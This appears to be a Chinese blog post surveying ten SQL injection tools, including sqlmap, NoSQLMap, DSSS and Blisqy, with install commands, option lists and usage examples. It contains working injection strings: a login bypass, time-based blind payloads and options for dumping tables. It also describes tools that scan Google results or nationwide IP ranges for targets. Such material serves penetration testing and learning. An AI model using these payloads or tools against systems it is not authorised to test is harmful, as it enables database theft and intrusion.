赞
踩
SQL是一种解释型语言。如果 Web 应用程序建立 SQL 语句的方法不安全,就很可能会受到 SQL 注入攻击。严重时,攻击者可利用该方法修改数据库里的所有信息,甚至控制运行数据库的服务器。因此Web应用程序很容易因为SQL注入而被入侵。
所谓SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令的目的。
我们把 SQL 注入当成一道填空题的话那么他们的形式大概如下:
问:select * from username = ____ and password=_____
答:select * from username = "test" or ""="" and password="123456"
SQL注入攻击包括通过从客户端到应用程序的输入数据点来插入或“注入” SQL查询。成功的SQL注入漏洞可以从数据库读取敏感数据,修改数据库数据(插入/更新/删除),对数据库执行管理操作(例如关闭DBMS),恢复DBMS文件上存在的给定文件的内容系统,并在某些情况下向操作系统发出命令。
成功的SQL注入攻击可以读取敏感的服务器数据,例如密码,电子邮件,用户名等。所以SQL注入漏洞可能造成非常严重的后果。
以下为大家整理了最受欢迎的10款SQL注入工具,并收集了下载地址、简单基本使用说明。大家可以根据自己需要进行深入学习哦~~
SQLMap是一款开源渗透测试工具,可用于自动检测和利用SQL注入漏洞,并接管数据库服务器。Sqlmap 是一个基于命令行的半自动化SQL注入攻击工具。在我们使用扫描器或者是手工发现了一个SQL注入点后,通常需要验证注入点是否是一个可以利用的点,这个时候就可以利用sqlmap来完成。
SQLMap官网下载:http://sqlmap.org/#download
压缩包下载:https://github.com/sqlmapproject/sqlmap/tarball/master
你可以通过Git存储库来下载:
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
在安装本工具时,要求先安装Python 哦
- -p 指定测试参数
- -b 获取banner
- --dbs 列举数据库
- --is-dba 是否是管理员权限
- --current-db 当前数据库
- --current-user 当前用户
- --tables 列举数据库的表名
- --count 检索所有条目数
- --columns 获取表的列名
- --dump 获取表中的数据,包含列
- --dump-all 转存DBMS数据库所有表项目
- --level 测试等级(1-5),默认为1
- -v 显示详细信息
- --delay 1(1秒) 表示延时1秒进行注入
读取数据库--->读取表---->读取表的字段---->获取内容
- -D 指定数据库
- -T 指定表
- -C 指定字段
- --dbms=mysql oracle mssql 指定数据库
官方文档:https://github.com/sqlmapproject/sqlmap/wiki/Usage
jSQL Injection是一个轻量级的应用程序,用于从远程服务器查找数据库信息。jSQL是免费的,开源的和可多平台使用的(Windows,Linux,Mac OS X,Solaris)。
jSQL injection是一款由JAVA开法的SQL自动化注入工具,它提供了数据库查询、后台爆破、文件读取、Web shell、SQL Shell、文件上传、暴力枚举、编码、批量注入测试等强大的功能,是一款非常不错的工具,也是渗透测试人员的强大助手。它支持GET\POST注入,同时也可以进行HTTP头注入(这个需要用户自动构建)。与sqlmap相比,其拥有图形化的界面和完整的中文支持。
在安装之前你需要安装JAVA(http://java.com/)
然后下载jSQL Injection:https://github.com/ron190/jsql-injection/releases/
也可以输入java -jar jsql-injection-v0.81.jar 您的终端来启动该程序。
如果您正在使用Kali Linux,那么使用命令获取最新版本sudo apt-get -f install jsql,或者使用apt update 当时的系统进行全面升级apt full-upgrade。
SQL盲注可是一个痛苦的过程。当工具都正常工作时,它们表现得很好,但是当它们无效时,你必须自己编写一些自定义的东西,这个过程既费时又乏味。而这一款盲注工具BBQSQL可以帮助我们解决这些问题。
BBQSQL是一款用Python编写的SQL盲注框架。在攻击棘手的SQL注入漏洞时,它会显得非常有用。BBQSQL还是一款半自动工具,可以为不会发现SQL注入点的用户提供大量自定义功能。该工具可与数据库无关,并且用途极为广泛。它还具有非常直观的用户界面,使设置攻击变得更加容易。同时,它也实现了Python gevent,这些都使BBQSQL非常快。
注意,BBQSQL最重要的是它不关心数据或数据库,而大多数SQL注入工具是要具体的数据库或语言建立的。
类似于其他的SQL注入工具,必须为它的运作提供一定的请求信息。BBQSQL如下:
指定注入的位置和语法:
HTTP参数
BBQSQL有许多HTTP参数配置时,便可以设置攻击。至少你必须提供想要注入发生的UR和方法。可以设置以下选项:
使用模板 ${injection}. } 来插入SQL注入查询的位置。如果没有注入模板,工具将不知道从何下手,插入SQL注入。
sudo pip install bbqsql
如果不行的话也可以使用源码下载:https://github.com/Neohapsis/bbqsql/
NoSQLMap是一款Python编写的开源工具,常用于审计NoSQL数据库中的自动注入攻击、为了从数据库中揭露数据而利用NoSQL数据库或使用NoSQL的Web应用的默认配置弱点。它这样命名是为了几年Bernardo Damele和Miroslav创作的流行的SQL工具SQLmap,它的设计理念来源于Ming Chow在Defcon中发表的很棒的演讲-”Abusing NoSQL Databases”。该工具目前主要应用于MongoDB,但是它在未来的版本中还会支持其他基于NoSQL的平台,如CouchDB, Redis和Cassandra等。当前该项目的目的是为简单攻击MongoDB服务器和一些web应用提供渗透测试工具,以及用通过概念攻击来证明某NoSQL应用不会受到SQL注入。
项目地址:https://github.com/codingo/NoSQLMap
从启动开始:
python NoSQLMap
NoSQLMap使用基于菜单的系统来进行攻击。启动NoSQLMap后,将显示主菜单:
- 1-Set options (do this first) //设置选项(第一步操作)
- 2-NoSQL DB Access Attacks //NoSQL DB 访问攻击
- 3-NoSQL Web App attacks //NoSQL Web应用攻击
- 4-Scan for Anonymous MongoDB Access //扫描匿名MongoDB访问
- x-Exit //退出
选项说明:
- 1. 将目标主机/IP设置为要攻击的目标web服务器(即www.google.com)或MongoDB服务器。
- 2. 如果目标是web应用程序,请为该web应用程序设置web应用程序端口TCP端口。
- 3. 设置URI Path URI的一部分,包含页面名和任何参数,但不包含主机名(例如/app/acct.php?acctid=102)。
- 4. Set HTTP Request Method(GET/POST)-将请求方法设置为GET或POST;目前只实现GET,但正在实现从Burp导出的POST请求。
- 5. 设置我的本地Mongo/Shell IP-如果直接攻击一个MongoDB实例,设置这个选项到目标Mongo安装的IP来复制受害者服务器或打开Meterpreter shell。
- 6. 设置shell监听端口-如果开放Meterpreter shell就会指定端口。
- 7. 加载选项文件-加载一个之前1-6中保存的设置。
- 8. 从保存的Burp请求加载选择-解析来自Burp Suite的已保存的请求,并填充Web应用选项。
- 9. 保存选项文件-为未来使用保存1-6中的设置。
- x. 返回主菜单-使用这个选项开始攻击。
设置好选项后,请回到主菜单,然后根据要攻击NoSQL管理端口还是Web应用程序,选择适当的数据库访问攻击或Web应用程序攻击。
Whitewidow是是一个开源自动化SQL漏洞扫描程序,能够运行文件列表,或者可以抓取谷歌搜索潜在的易受攻击的网站。它允许自动文件格式化,随机用户代理,IP地址,服务器信息,多个SQL注入语法,从程序启动sqlmap的能力,以及有趣的环境。该程序是为学习目的而创建的,旨在向用户传授漏洞的样子。
项目地址:https://github.com/WhitewidowScanner/whitewidow
ruby whitewidow.rb -d
这将在默认模式下运行whitewidow,并使用随机搜索查询从Google抓取可能的网站。
ruby whitewidow.rb -f path/to/file
这将在给定文件中运行whitewidow,并将SQL语法添加到URL。
ruby whitewidow.rb -h
将运行帮助标志以及显示帮助菜单。
DSSS是一款功能齐全的SQL注入漏洞扫描程序(支持GET和POST参数),用了不到100行代码编写。
从可选设置开始,它支持HTTP代理和HTTP标头值User-Agent,Referer以及Cookie。
运行此程序需要Python版本2.6.x或2.7.x.
项目地址:https://github.com/stamparm/DSSS
- $ python3 dsss.py -h
- Damn Small SQLi Scanner (DSSS) < 100 LoC (Lines of Code) #v0.3a
- by: Miroslav Stampar (@stamparm)
-
-
- Usage: dsss.py [options]
-
-
- Options:
- --version 显示程序的版本号并退出
- -h, --help 显示此帮助消息并退出
- -u URL, --url=URL 目标URL(例如“http://www.Target.com/page.php”?id=1“)
- --data=DATA 发布数据(例如“query=test”)
- --cookie=COOKIE HTTP Cookie header 值
- --user-agent=UA HTTP User-Agent header 值
- --referer=REFERER HTTP Referer header 值
- --proxy=PROXY HTTP 代理地址 (e.g. "http://127.0.0.1:8080"
- $ python3 dsss.py -u "http://testphp.vulnweb.com/artists.php?artist=1"
- Damn Small SQLi Scanner (DSSS) < 100 LoC (Lines of Code) #v0.3a
- by: Miroslav Stampar (@stamparm)
-
-
- * scanning GET parameter 'artist'
- (i) GET parameter 'artist' could be error SQLi vulnerable (MySQL)
- (i) GET parameter 'artist' appears to be blind SQLi vulnerable (e.g.: 'http://t
- estphp.vulnweb.com/artists.php?artist=1%20AND%2061%3E60')
-
-
- scan results: possible vulnerabilities foun
explo是一款简单的工具,可以以人类和机器可读的格式描述网络安全问题。通过定义请求/条件工作流程,explo无需编写脚本即可利用安全问题。这允许以简单的可读和可执行格式共享复杂的漏洞。
项目地址:https://github.com/dtag-dev-sec/explo
pip install explo
- git clone https://github.com/dtag-dev-sec/explo
- cd explo
- python setup.py install
- explo [--verbose|-v] testcase.yaml
- explo [--verbose|-v] examples/*.yaml
http模块允许发出http请求,提取内容以及搜索/验证内容。
以下数据可用于以下步骤:
如果find_regex设置了参数,则在响应主体上执行正则表达式匹配。如果失败,则此模块返回失败,从而停止执行当前工作流程(以及所有步骤)。
要引用Cookie,请引用上一步中应从(cookies: the_other_step.response.cookies)获取Cookie的名称。
参数示例:
- parameter:
- url: http://example.com
- method: GET
- allow_redirects: True
- headers:
- User-Agent: explo
- Content-Type: abc
- cookies: stepname.response.cookies
- body:
- key: value
- find: search for string
- find_regex: search for (reg|ular)expression
- find_in_headers: searchstring in headers
- extract:
- variable1: [CSS, '#csrf']
- variable2: [REGEX, '<input(.*?)value="(?P<extract>.*?)"']
http-header模块允许检查响应是否错过了一组指定的标头(和值)。所有其他参数与 http模块相同。
以下数据可用于其他模块:
参数示例:
- parameter:
- url: http://example.com
- method: GET
- allow_redirects: True
- headers:
- User-Agent: explo
- Content-Type: abc
- body:
- key: value
- headers_required:
- X-XSS-Protection: 1
- Server: . # all values are valid
sqli_blind模块能够识别基于时间的盲SQL注入。
以下数据可用于其他模块:
参数示例:
- parameter:
- url: http://example.com/vulnerable.php?id=1' waitfor delay '00:00:5'--
- method: GET
- delay_seconds: 5
如果超过了5秒的阈值(delay_seconds),则检查返回true(并因此成功)。
提取csrf令牌并以某种形式使用的示例:
- name: get_csrf
- description: extract csrf token
- module: http
- parameter:
- url: http://example.com/contact
- method: GET
- header:
- user-agent: Mozilla/5.0
- extract:
- csrf: [CSS, "#csrf"]
- ---
- name: exploit
- description: exploits sql injection vulnerability with valid csrf token
- module: http
- parameter:
- url: http://example.com/contact
- method: POST
- body:
- csrf: "{{get_csrf.extracted.csrf}}"
- username: "' SQL INJECTION"
- find: You have an error in your SQL syntax
该模块通过使用bitshifting方法 计算 字符而不是猜测字符来执行盲SQL注入 。每个字符需要7/8个请求,具体取决于配置。
项目地址:https://github.com/awnumar/blind-sql-bitshifting
- import blind-sql-bitshifting as x
-
-
- //编辑此字典以配置攻击向量
- x.options
配置示例:
- // 易受攻击的链接
- x.options["target"] = "http://www.example.com/index.php?id=1"
-
-
- // 指定cookie(可选)
- x.options["cookies"] = ""
-
-
- // 为特定行指定条件,例如“uid=1”表示管理员(可选)
- x.options["row_condition"] = ""
-
-
- // 用于以下重定向的布尔选项
- x.options["follow_redirections"] = 0
-
-
- // 指定用户代理
- x.options["user_agent"] = "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
-
-
- // 指定要转储的表
- x.options["table_name"] = "users"
-
-
- // 指定要转储的列
- x.options["columns"] = "id, username"
-
-
- // 语句成功后要在页上检查的字符串
- x.options["truth_string"] = "<p id='success'>true</p>"
-
-
- #见下文
- x.options["assume_only_asci
该 assume_only_ascii 选项使模块假定其转储的字符均为ASCII。由于ASCII字符集仅上升到 127 ,我们可以将第一位设置为 0 而不必担心计算它。这 12.5% 减少了请求。在本地测试中,平均速度提高了 15% 。当然,转储超出ASCII范围的字符时,这可能会导致问题。默认情况下,它设置为 0 。
配置完成后:
x.exploit()
这将返回一个二维数组,每个子数组都包含一行,第一个是列标题。
输出示例:
[['id', 'username'], ['1', 'eclipse'], ['2', 'dotcppfile'], ['3', 'Acey'], ['4', 'Wardy'], ['5', 'idek']]
(可选)您的脚本随后可以利用 表格 模块输出数据:
- from tabulate import tabulate
-
-
- data = x.exploit()
-
-
- print tabulate(data,
- headers='firstrow', # This specifies to use the first row as the column headers.
- tablefmt='psql') # Using the SQL output format. Other formats can be used
这将输出:
- +------+------------+
- | id | username |
- |------+------------|
- | 1 | eclipse |
- | 2 | dotcppfile |
- | 3 | Acey |
- | 4 | Wardy |
- | 5 | idek |
- +------+------------+
Leviathan是一个大众审计工具包,具有广泛的服务发现,暴力破解,SQL注入检测和运行自定义漏洞利用功能。它包含开源工具,例如masscan,ncrack,dsss,并为您提供了结合使用它们的灵活性。该项目的主要目标是在全国范围或广泛的IP范围内审计尽可能多的系统。
项目地址:https://github.com/leviathan-framework/leviathan
Kali Linux:
通过克隆Git存储库下载leviathan:
git clone https://github.com/leviathan-framework/leviathan.git
进入文件夹
cd leviathan
安装Python库:
pip install -r requirements.txt
完成!
Debian / Ubuntu:
通过克隆Git存储库下载leviathan:
git clone https://github.com/leviathan-framework/leviathan.git
进入文件夹
cd leviathan
Run installiation脚本。它将设置所需的工具(ncrack,masscan)和python库。
bash scripts/debian_install.sh
完成!
macOS:
如果您的系统上未安装homebrew,请先安装它:
/usr/bin/ruby -e "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/master/install)"
通过克隆Git存储库下载leviathan:
git clone https://github.com/leviathan-framework/leviathan.git
进入文件夹
cd leviathan
运行安装脚本。它将设置所需的工具(ncrack,masscan)和python库。
bash scripts/macos_install.sh
完成!
要求
运行此程序需要Python版本2.7.x。
支持的平台:Linux(Kali Linux,Debian,Ubuntu),macOS
用法使用
以下命令运行程序:
python leviathan.py
简短演示:https : //asciinema.org/a/617bsxl1y84bav9f5bcwllx7r
简短的演示:https : //asciinema.org/a/43y2j38zu7hbnuahrj233d5r0
简短演示:https : //asciinema.org/a/0xcrhd12f2lpkbktjldwtab16
简短演示:https : //asciinema.org/a/2mwfmd9afsuyg5p0vzcq5e6si
简短演示:https : //asciinema.org/a/9uqsjvnru780h0ue6ok9j9ktb
Masscan:这是Robert David Graham的非常快速的TCP端口扫描程序。Leviathan使用masscan来检测巨大IP范围内的服务。https://github.com/robertdavidgraham/masscan
Ncrack:Ncrack是一种高速网络身份验证破解工具。Leviathan使用ncrack暴力破解服务,例如FTP,SSH,RDP,Telnet,MYSQL等。https://github.com/nmap/ncrack
DSSS(该死的小型SQLi扫描程序):DSSS是Miroslav Stampar的功能齐全且最小的SQL注入漏洞扫描程序。Leviathan使用DSSS来识别特定URL上的SQL Injection漏洞。https://github.com/stamparm/DSSS
对于MySQL / MariaDB,通过盲SQL注入对可打印ASCII字符使用按位运算,这是一种缓慢的数据虹吸。
项目地址:https://github.com/JohnTroony/Blisqy
- USAGE:
- blisqy.py --server <Web Server> --port <port> --header <vulnerable header> --hvalue <header value>
- --inject <point of injection> --payload <custom sql payload> --dig <yes/no> --sleeptime <default 0.5>
-
-
- Options:
- -h, --help 帮助显示此帮助消息并退出
- --server=WEBSERVER 指定主机(web服务器)IP
- --port=PORT 指定端口
- --header=VULNHEADER 提供易受攻击的HTTP头
- --hvalue=HEADERVALUE 指定易受攻击的head的值
- --inject=INJECTION 提供注入Sqlipayload的位置
- --payload=PAYLOAD 提供SQL语句/查询作为payload注入
- --dig=DIGGER 自动Mysql模式枚举(需要时间!)
- --sleeptime=SLEEP 盲SQLi查询的睡眠时间(默认值:0.5)
- --interactive=INTERACT 打开/关闭交互模式(默认:关闭)
inject
在确定Web服务器上的基于时间的BlindSQL注入后,此选项使用户可以制作和插入SQL注入有效负载。此选项的值应该是这样的:
--inject "' or if((*sql*),sleep(*time*),0) and '1'='1"
在哪里
--sleeptime
Blisqy现在接受用户设置--sleeptime并将其插入--inject *time*。始终确保您已经对该值进行了微调,以与您的环境和网络延迟产生共鸣...。(值越低,我们走得越快)。例如--sleeeptime 0.1
--payload
此选项允许用户运行自己的自定义SQL注入有效负载。其他选项(例如--dig和)--interactive 必须设置(不得忽略)才能运行此选项。
示例:
命令
- ./blisqy.py --server 192.168.56.101 --port 80 --header "X-Forwarded-For" --hvalue "hacker"
- --sleeptime 0.1
- --inject "' or if((*sql*),sleep(*time*),0) and '1'='1"
- --payload "select @@hostname"
--interactive
此选项接受两个值,即on或off以及it complements选项--dig(此选项必须设置为yes)。如果设置为,--interactive on则用户将选择要枚举的发现表,并决定是否应该转储该表中的数据。设置为“ --interactive off”时,将枚举每个表并转储所有数据。
从表中获取数据:启用时,用户可以决定从哪些列中提取数据--interactive。格式看起来像这样:column1*column1*column2-只是列名用星号分隔。用户也可以通过输入skip而不是列名来避免在特定表上收集数据。
示例:
命令
- ./blisqy.py --server 192.168.56.101 --port 80 --header "X-Forwarded-For" --hvalue "hacker" --dig yes
- --sleeptime 0.1 --interactive on --inject "' or if((*sql*),sleep(*time*),0) and '1'='1"
为了帮助大家更好的学习网络安全,小编给大家准备了一份网络安全入门/进阶学习资料,里面的内容都是适合零基础小白的笔记和资料,不懂编程也能听懂、看懂,所有资料共282G,朋友们如果有需要全套网络安全入门+进阶学习资源包,可以点击免费领取(如遇扫码问题,可以在评论区留言领取哦)~
《网络安全入门+进阶学习资源包》
CSDN大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享
网络安全源码合集+工具包
全部资料共282G,朋友们如果有需要全套网络安全入门+进阶学习资源包,可以点击免费领取(如遇扫码问题,可以在评论区留言领取哦)~
黑客/网安大礼包:CSDN大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享
好了就写到这了,大家有任何关于渗透方面的问题也可以随时私信问我,后续也会给大家分享更多渗透方面的知识!希望大家不要忘记点赞收藏哦!
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。